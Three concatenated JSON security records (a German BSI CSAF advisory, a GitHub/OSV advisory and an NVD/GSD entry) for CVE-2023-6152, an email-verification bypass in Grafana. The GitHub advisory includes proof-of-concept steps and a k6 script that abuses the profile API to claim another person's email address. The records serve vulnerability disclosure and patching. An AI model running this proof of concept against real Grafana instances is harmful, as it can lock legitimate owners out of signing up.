{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Grafana ist eine Open-Source Analyse- und Visualisierungssoftware.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Grafana ausnutzen, um Sicherheitsvorkehrungen zu umgehen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2024-0358 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2024/wid-sec-w-2024-0358.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2024-0358 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2024-0358"
      },
      {
        "category": "external",
        "summary": "GitHub Advisory Database vom 2024-02-13",
        "url": "https://github.com/advisories/GHSA-3hv4-r2fm-h27f"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2024:1427-1 vom 2024-04-24",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2024-April/018418.html"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2024:1419-1 vom 2024-04-24",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2024-April/018419.html"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2024:1509-1 vom 2024-05-06",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2024-May/018463.html"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2024:1508-1 vom 2024-05-06",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2024-May/018464.html"
      },
      {
        "category": "external",
        "summary": "SUSE Security Update SUSE-SU-2024:1530-1 vom 2024-05-06",
        "url": "https://lists.suse.com/pipermail/sle-security-updates/2024-May/018454.html"
      }
    ],
    "source_lang": "en-US",
    "title": "Grafana: Schwachstelle erm\u00f6glicht Umgehen von Sicherheitsvorkehrungen",
    "tracking": {
      "current_release_date": "2024-05-06T22:00:00.000+00:00",
      "generator": {
        "date": "2024-05-07T08:34:04.196+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.3.0"
        }
      },
      "id": "WID-SEC-W-2024-0358",
      "initial_release_date": "2024-02-13T23:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2024-02-13T23:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2024-04-24T22:00:00.000+00:00",
          "number": "2",
          "summary": "Neue Updates von SUSE aufgenommen"
        },
        {
          "date": "2024-05-06T22:00:00.000+00:00",
          "number": "3",
          "summary": "Neue Updates von SUSE aufgenommen"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c9.5.16",
                "product": {
                  "name": "Open Source Grafana \u003c9.5.16",
                  "product_id": "T032761",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:grafana:grafana:9.5.16"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c10.0.11",
                "product": {
                  "name": "Open Source Grafana \u003c10.0.11",
                  "product_id": "T032762",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:grafana:grafana:10.0.11"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c10.1.7",
                "product": {
                  "name": "Open Source Grafana \u003c10.1.7",
                  "product_id": "T032763",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:grafana:grafana:10.1.7"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c10.2.4",
                "product": {
                  "name": "Open Source Grafana \u003c10.2.4",
                  "product_id": "T032764",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:grafana:grafana:10.2.4"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c10.3.3",
                "product": {
                  "name": "Open Source Grafana \u003c10.3.3",
                  "product_id": "T032765",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:grafana:grafana:10.3.3"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Grafana"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      },
      {
        "branches": [
          {
            "category": "product_name",
            "name": "SUSE Linux",
            "product": {
              "name": "SUSE Linux",
              "product_id": "T002207",
              "product_identification_helper": {
                "cpe": "cpe:/o:suse:suse_linux:-"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2023-6152",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in Grafana. Dieser Fehler besteht in der Option verify_email_enabled aufgrund einer falschen Autorisierung, die es erlaubt, die E-Mail-Adresse ohne \u00dcberpr\u00fcfung in /profile zu \u00e4ndern. Dies kann dazu verwendet werden, den rechtm\u00e4\u00dfigen Besitzer der E-Mail-Adresse daran zu hindern, sich anzumelden. Ein entfernter, authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um die E-Mail-Validierung zu umgehen und so Sicherheitsma\u00dfnahmen zu umgehen."
        }
      ],
      "product_status": {
        "known_affected": [
          "T002207"
        ]
      },
      "release_date": "2024-02-13T23:00:00Z",
      "title": "CVE-2023-6152"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "9.5.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.0"
            },
            {
              "fixed": "10.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.3.0"
            },
            {
              "fixed": "10.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-13T22:25:10Z",
    "nvd_published_at": "2024-02-13T22:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it\u0027s email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email\u0027s owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don\u0027t know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That\u0027s it, your using an email you don\u0027t own.\n\nPrevent email\u0027s owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: \u0027per-vu-iterations\u0027,\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () =\u003e {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.\n",
  "id": "GHSA-3hv4-r2fm-h27f",
  "modified": "2024-02-14T14:54:11Z",
  "published": "2024-02-13T22:25:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6152"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2023-6152"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Email Validation Bypass And Preventing Sign Up From Email\u0027s Owner"
}

{
  "GSD": {
    "alias": "CVE-2023-6152",
    "id": "GSD-2023-6152"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2023-6152"
      ],
      "details": "A user changing their email after signing up and verifying it can change it without verification in profile settings.\n\nThe configuration option \"verify_email_enabled\" will only validate email only on sign up.\n\n",
      "id": "GSD-2023-6152",
      "modified": "2023-12-13T01:20:32.774255Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security@grafana.com",
        "ID": "CVE-2023-6152",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "Grafana",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "\u003c",
                          "version_name": "2.5.0",
                          "version_value": "9.5.16"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.0.0",
                          "version_value": "10.0.11"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.1.0",
                          "version_value": "10.1.7"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.2.0",
                          "version_value": "10.2.4"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.3.0",
                          "version_value": "10.3.3"
                        }
                      ]
                    }
                  },
                  {
                    "product_name": "Grafana Enterprise",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "\u003c",
                          "version_name": "2.5.0",
                          "version_value": "9.5.16"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.0.0",
                          "version_value": "10.0.11"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.1.0",
                          "version_value": "10.1.7"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.2.0",
                          "version_value": "10.2.4"
                        },
                        {
                          "version_affected": "\u003c",
                          "version_name": "10.3.0",
                          "version_value": "10.3.3"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "Grafana"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "A user changing their email after signing up and verifying it can change it without verification in profile settings.\n\nThe configuration option \"verify_email_enabled\" will only validate email only on sign up.\n\n"
          }
        ]
      },
      "impact": {
        "cvss": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
            "version": "3.1"
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "cweId": "CWE-863",
                "lang": "eng",
                "value": "CWE-863"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://grafana.com/security/security-advisories/cve-2023-6152/",
            "refsource": "MISC",
            "url": "https://grafana.com/security/security-advisories/cve-2023-6152/"
          },
          {
            "name": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f",
            "refsource": "MISC",
            "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
          }
        ]
      }
    },
    "nvd.nist.gov": {
      "cve": {
        "descriptions": [
          {
            "lang": "en",
            "value": "A user changing their email after signing up and verifying it can change it without verification in profile settings.\n\nThe configuration option \"verify_email_enabled\" will only validate email only on sign up.\n\n"
          }
        ],
        "id": "CVE-2023-6152",
        "lastModified": "2024-02-14T13:59:35.580",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 5.4,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.5,
              "source": "security@grafana.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2024-02-13T22:15:45.430",
        "references": [
          {
            "source": "security@grafana.com",
            "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
          },
          {
            "source": "security@grafana.com",
            "url": "https://grafana.com/security/security-advisories/cve-2023-6152/"
          }
        ],
        "sourceIdentifier": "security@grafana.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-863"
              }
            ],
            "source": "security@grafana.com",
            "type": "Secondary"
          }
        ]
      }
    }
  }
}